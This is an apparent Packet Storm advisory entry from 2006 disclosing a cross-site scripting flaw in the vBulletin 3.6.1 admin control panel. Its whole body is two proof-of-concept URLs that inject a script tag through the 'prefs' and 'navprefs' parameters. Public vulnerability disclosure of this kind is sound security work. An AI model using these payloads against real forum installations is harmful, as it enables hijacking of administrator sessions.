vbulletin361.txt

2006-11-07T00:00:00
ID PACKETSTORM:51737
Type packetstorm
Reporter insanity
Modified 2006-11-07T00:00:00

Description

                                        
                                            `Author: insanity  
E-mail: insanity@darkers.com.br  
  
XSS vBulletin 3.6.1 Admin Control Panel  
  
http://www.exemplo.com/vbulletin/admincp/index.php?do=buildnavprefs&nojs=0&prefs="><script>alert("insanity")</script>  
http://www.exemplo.com/vbulletin/admincp/index.php?do=savenavprefs&nojs=0&navprefs="><script>alert("insanity")</script>  
`